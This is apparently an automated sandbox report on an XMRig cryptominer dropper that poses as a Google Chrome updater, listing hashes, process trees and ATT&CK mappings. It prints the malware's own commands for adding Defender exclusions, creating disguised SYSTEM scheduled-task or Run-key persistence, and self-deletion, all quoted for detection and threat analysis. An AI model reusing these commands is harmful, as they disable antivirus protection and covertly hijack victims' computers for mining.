xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
387s
max time network
1820s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

Gu3PdXt79NF7EJXJ.exeupdater.execonhost.exe

description	pid	process	target process
PID 1304 created 1256	1304	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 1304 created 1256	1304	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 1304 created 1256	1304	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 1304 created 1256	1304	Gu3PdXt79NF7EJXJ.exe	Explorer.EXE
PID 308 created 1256	308	updater.exe	Explorer.EXE
PID 308 created 1256	308	updater.exe	Explorer.EXE
PID 308 created 1256	308	updater.exe	Explorer.EXE
PID 308 created 1256	308	updater.exe	Explorer.EXE
PID 2088 created 1256	2088	conhost.exe	Explorer.EXE
PID 308 created 1256	308	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral13/memory/2288-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2288-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2800 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

308 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1420 taskeng.exe

pid	process
2800	cmd.exe

pid	process
308	updater.exe

pid	process
1420	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral13/memory/2288-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2288-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 308 set thread context of 2088	308	updater.exe	conhost.exe
PID 308 set thread context of 2288	308	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

updater.execmd.execmd.exeGu3PdXt79NF7EJXJ.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Gu3PdXt79NF7EJXJ.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1880 schtasks.exe
320 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

3016 WMIC.exe

pid	process
1880	schtasks.exe
320	schtasks.exe

pid	process
3016	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90b29c303151da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Gu3PdXt79NF7EJXJ.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1304	Gu3PdXt79NF7EJXJ.exe
1304	Gu3PdXt79NF7EJXJ.exe
2884	powershell.exe
1304	Gu3PdXt79NF7EJXJ.exe
1304	Gu3PdXt79NF7EJXJ.exe
2620	powershell.exe
1304	Gu3PdXt79NF7EJXJ.exe
1304	Gu3PdXt79NF7EJXJ.exe
1304	Gu3PdXt79NF7EJXJ.exe
1304	Gu3PdXt79NF7EJXJ.exe
2652	powershell.exe
308	updater.exe
308	updater.exe
304	powershell.exe
308	updater.exe
308	updater.exe
284	powershell.exe
308	updater.exe
308	updater.exe
308	updater.exe
308	updater.exe
2088	conhost.exe
2088	conhost.exe
308	updater.exe
308	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	304	powershell.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeDebugPrivilege	308	updater.exe
Token: SeAssignPrimaryTokenPrivilege	3016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3016	WMIC.exe
Token: SeSecurityPrivilege	3016	WMIC.exe
Token: SeTakeOwnershipPrivilege	3016	WMIC.exe
Token: SeLoadDriverPrivilege	3016	WMIC.exe
Token: SeSystemtimePrivilege	3016	WMIC.exe
Token: SeBackupPrivilege	3016	WMIC.exe
Token: SeRestorePrivilege	3016	WMIC.exe
Token: SeShutdownPrivilege	3016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3016	WMIC.exe
Token: SeUndockPrivilege	3016	WMIC.exe
Token: SeManageVolumePrivilege	3016	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3016	WMIC.exe
Token: SeSecurityPrivilege	3016	WMIC.exe
Token: SeTakeOwnershipPrivilege	3016	WMIC.exe
Token: SeLoadDriverPrivilege	3016	WMIC.exe
Token: SeSystemtimePrivilege	3016	WMIC.exe
Token: SeBackupPrivilege	3016	WMIC.exe
Token: SeRestorePrivilege	3016	WMIC.exe
Token: SeShutdownPrivilege	3016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3016	WMIC.exe
Token: SeUndockPrivilege	3016	WMIC.exe
Token: SeManageVolumePrivilege	3016	WMIC.exe
Token: SeLockMemoryPrivilege	2288	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2620 wrote to memory of 1880	2620	powershell.exe	schtasks.exe
PID 2620 wrote to memory of 1880	2620	powershell.exe	schtasks.exe
PID 2620 wrote to memory of 1880	2620	powershell.exe	schtasks.exe
PID 2800 wrote to memory of 2932	2800	cmd.exe	choice.exe
PID 2800 wrote to memory of 2932	2800	cmd.exe	choice.exe
PID 2800 wrote to memory of 2932	2800	cmd.exe	choice.exe
PID 2652 wrote to memory of 280	2652	powershell.exe	schtasks.exe
PID 2652 wrote to memory of 280	2652	powershell.exe	schtasks.exe
PID 2652 wrote to memory of 280	2652	powershell.exe	schtasks.exe
PID 1420 wrote to memory of 308	1420	taskeng.exe	updater.exe
PID 1420 wrote to memory of 308	1420	taskeng.exe	updater.exe
PID 1420 wrote to memory of 308	1420	taskeng.exe	updater.exe
PID 284 wrote to memory of 320	284	powershell.exe	schtasks.exe
PID 284 wrote to memory of 320	284	powershell.exe	schtasks.exe
PID 284 wrote to memory of 320	284	powershell.exe	schtasks.exe
PID 308 wrote to memory of 2088	308	updater.exe	conhost.exe
PID 1784 wrote to memory of 3016	1784	cmd.exe	WMIC.exe
PID 1784 wrote to memory of 3016	1784	cmd.exe	WMIC.exe
PID 1784 wrote to memory of 3016	1784	cmd.exe	WMIC.exe
PID 308 wrote to memory of 2288	308	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1256

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1880

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2800

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:2932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:284

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:320

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2088

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1784

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3016

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2336

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2288

C:\Windows\system32\taskeng.exe
taskeng.exe {7C251004-7C78-4DCD-9A7F-6B4CDC733938} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1420

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:308

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
673KB

MD5
664cd4a7ab3fff9ca6285b86ae8b6fa1

SHA1
1d52f03c14f54c848addaedd3486e37593784802

SHA256
9b339979b85e7a22b5646e90724a2d3e4a9f6448bc11c761a4f5a2699d84c238

SHA512
079a2d470bdab89e86203b6047cbc5a770687d802425aaf928553d37d6b6c7556cd47310066b2cd72f2d225af6aea7a1a07020953d463ce5ce81a42629b9ab7e

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
8d2085f941408ee9bbad9b0987253f87

SHA1
7a8aaa81857c569d4d531a4e193af070950012d1

SHA256
65ea68de904dd0e9890de612918874ce658799283dff29cba578a82bb81b7116

SHA512
5673dedc72f57ca5ddb172764d18d11418c1aa298e6d73ebea92e7d5f7180c7971be00fc0c0c8f1bbb981e46aa55a117ef8f8bea187186933af4372e2c8449f0

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
328KB

MD5
fc980c8f1551cc314d84ba2a0dd3ab8d

SHA1
ad3684854f59092d020707c21fa061cc7b95e491

SHA256
0f94dbc01f725ddd537187bc40d92e0ebf3ff0781588b2bd76c086013f6a75a4

SHA512
341a23885925c9b1d4e3330d8902fe153b8de4f6192541cc99eaaabd4d5612dff3c35989f295225772cde74cf50222abda64fa15fce50c4280d7363dbcb96659

Download Submit
memory/284-56-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/284-55-0x00000000009A0000-0x0000000000A20000-memory.dmp

Filesize
512KB

Download
memory/284-59-0x00000000009A0000-0x0000000000A20000-memory.dmp

Filesize
512KB

Download
memory/284-58-0x00000000009A0000-0x0000000000A20000-memory.dmp

Filesize
512KB

Download
memory/284-60-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/284-57-0x00000000009A0000-0x0000000000A20000-memory.dmp

Filesize
512KB

Download
memory/284-54-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/304-53-0x000007FEF4E50000-0x000007FEF57ED000-memory.dmp

Filesize
9.6MB

Download
memory/304-51-0x0000000001280000-0x0000000001300000-memory.dmp

Filesize
512KB

Download
memory/304-52-0x000000000128B000-0x00000000012F2000-memory.dmp

Filesize
412KB

Download
memory/304-50-0x0000000001280000-0x0000000001300000-memory.dmp

Filesize
512KB

Download
memory/304-49-0x000007FEF4E50000-0x000007FEF57ED000-memory.dmp

Filesize
9.6MB

Download
memory/304-48-0x0000000001280000-0x0000000001300000-memory.dmp

Filesize
512KB

Download
memory/304-47-0x000007FEF4E50000-0x000007FEF57ED000-memory.dmp

Filesize
9.6MB

Download
memory/308-69-0x000000013F4B0000-0x000000013F6C1000-memory.dmp

Filesize
2.1MB

Download
memory/308-45-0x000000013F4B0000-0x000000013F6C1000-memory.dmp

Filesize
2.1MB

Download
memory/1304-29-0x000000013FC80000-0x000000013FE91000-memory.dmp

Filesize
2.1MB

Download
memory/1304-0-0x000000013FC80000-0x000000013FE91000-memory.dmp

Filesize
2.1MB

Download
memory/2088-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2088-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2288-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2288-68-0x0000000000390000-0x00000000003B0000-memory.dmp

Filesize
128KB

Download
memory/2288-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
